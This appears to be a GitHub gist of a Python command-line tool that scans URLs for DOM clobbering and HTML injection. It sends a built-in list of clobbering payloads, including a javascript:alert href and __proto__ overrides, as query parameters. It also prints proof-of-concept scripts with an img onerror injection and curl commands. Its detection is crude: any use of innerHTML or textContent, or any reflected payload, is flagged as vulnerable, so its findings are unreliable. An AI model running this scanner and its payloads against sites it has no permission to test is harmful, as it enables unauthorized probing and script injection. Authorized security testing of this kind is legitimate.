Skip to content

Instantly share code, notes, and snippets.

@queencitycyber
Created July 25, 2024 12:58
Show Gist options
  • Save queencitycyber/68ba43112fbf2cfcf99d454f83a90345 to your computer and use it in GitHub Desktop.
Save queencitycyber/68ba43112fbf2cfcf99d454f83a90345 to your computer and use it in GitHub Desktop.
identify and exploit potential DOM (Document Object Model) clobbering vulnerabilities in web applications
import asyncio
import aiohttp
from typing import List
import click
from rich.console import Console
from rich.progress import Progress
from rich.table import Table
from bs4 import BeautifulSoup
import re
import json
import html
console = Console()
DOM_CLOBBERING_PAYLOADS = [
'<a id="x"><a id="x"><a id="x">',
'<form id="x"><form id="x"><form id="x">',
'<a id="x"><a id="x" name="y">',
'<img id="x"><img id="x"><img id="x">',
'<a id="innerHTML"><a id="innerHTML" name="y">',
'<a id="defaultMessage"><a id="defaultMessage" name="innerHTML" href="javascript:alert(1)">',
'<a id="__proto__"><a id="__proto__" name="vulnerable" href="true">'
]
async def test_single_url(url: str, session: aiohttp.ClientSession) -> dict:
result = {"url": url, "vulnerable": False, "details": [], "proof": [], "poc": []}
try:
async with session.get(url) as response:
content = await response.text()
soup = BeautifulSoup(content, 'html.parser')
# Check for potential DOM clobbering vectors
scripts = soup.find_all('script')
for script in scripts:
if script.string and re.search(r'(\.innerHTML|\.outerHTML|\.textContent|\.innerText|document\.write)', script.string):
result["vulnerable"] = True
result["details"].append("Potential DOM clobbering vector found in script")
result["proof"].append("Vulnerable pattern: {}".format(re.search(r'(\.innerHTML|\.outerHTML|\.textContent|\.innerText|document\.write)', script.string).group()))
# Create a more usable PoC
script_content = html.unescape(script.string.strip())
poc_script = (
"// Original script content (for reference):\n"
"/*\n{}\n*/\n\n"
"// Modified script to demonstrate vulnerability:\n"
"var div = document.createElement('div');\n"
"document.body.appendChild(div);\n"
"div.innerHTML = '<img src=x onerror=alert(\"DOM Clobbering vulnerability\")>';\n"
"// Optionally, you can replace the above line with the vulnerable part of the original script"
).format(script_content)
result["poc"].append("In browser console, execute the following script:\n\n{}".format(poc_script))
break
# Test with payloads
for payload in DOM_CLOBBERING_PAYLOADS:
encoded_payload = payload.replace('<', '%3C').replace('>', '%3E')
test_url = "{}?test={}".format(url, encoded_payload)
async with session.get(test_url) as test_response:
test_content = await test_response.text()
if payload in test_content:
result["vulnerable"] = True
result["details"].append("Potential DOM clobbering with payload")
result["proof"].append("Payload reflection: {}".format(payload))
result["poc"].append("curl '{}'".format(test_url))
except Exception as e:
result["details"].append("Error: {}".format(str(e)))
return result
async def test_urls(urls: List[str]) -> List[dict]:
async with aiohttp.ClientSession() as session:
tasks = []
for url in urls:
task = asyncio.ensure_future(test_single_url(url, session))
tasks.append(task)
results = []
with Progress() as progress:
task = progress.add_task("[cyan]Testing URLs...", total=len(urls))
for future in asyncio.as_completed(tasks):
result = await future
results.append(result)
progress.update(task, advance=1)
return results
def display_results(results: List[dict], show_poc: bool, show_proof: bool):
table = Table(title="HTML Injection via DOM Clobbering Scan Results")
table.add_column("URL", style="cyan", no_wrap=True)
table.add_column("Vulnerable", style="magenta")
table.add_column("Details", style="green")
if show_proof:
table.add_column("Proof", style="blue")
if show_poc:
table.add_column("PoC", style="yellow")
output_data = []
for result in results:
if result["vulnerable"]:
vulnerable = "Yes"
details = "\n".join(result["details"])
row = [result["url"], vulnerable, details]
output_data.append({"url": result["url"], "details": details})
if show_proof:
proof = "\n".join(result["proof"])
row.append(proof)
output_data[-1]["proof"] = result["proof"]
if show_poc:
poc = "\n".join(result["poc"])
row.append(poc)
output_data[-1]["poc"] = result["poc"]
table.add_row(*row)
console.print(table)
return output_data
def save_to_file(data, filename):
with open(filename, "w", encoding="utf-8") as f:
for item in data:
f.write("URL: {}\n".format(item['url']))
f.write("Details: {}\n".format(item['details']))
if 'proof' in item:
f.write("Proof:\n")
for proof in item['proof']:
f.write(" {}\n".format(proof))
if 'poc' in item:
f.write("PoC:\n")
for poc in item['poc']:
f.write(" {}\n".format(poc))
f.write("\n")
@click.command()
@click.option('--url', help='Single URL to test')
@click.option('--file', type=click.File('r'), help='File containing URLs to test')
@click.option('--poc', is_flag=True, help='Output PoC details')
@click.option('--proof', is_flag=True, help='Output proof of vulnerable code')
def main(url, file, poc, proof):
if url:
urls = [url]
elif file:
urls = [line.strip() for line in file if line.strip()]
else:
console.print("[bold red]Please provide either a URL or a file containing URLs.[/bold red]")
return
results = asyncio.run(test_urls(urls))
output_data = display_results(results, poc, proof)
if poc or proof:
output_filename = "dom_clobbering_results.txt"
save_to_file(output_data, output_filename)
console.print("[green]Results saved to {}[/green]".format(output_filename))
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment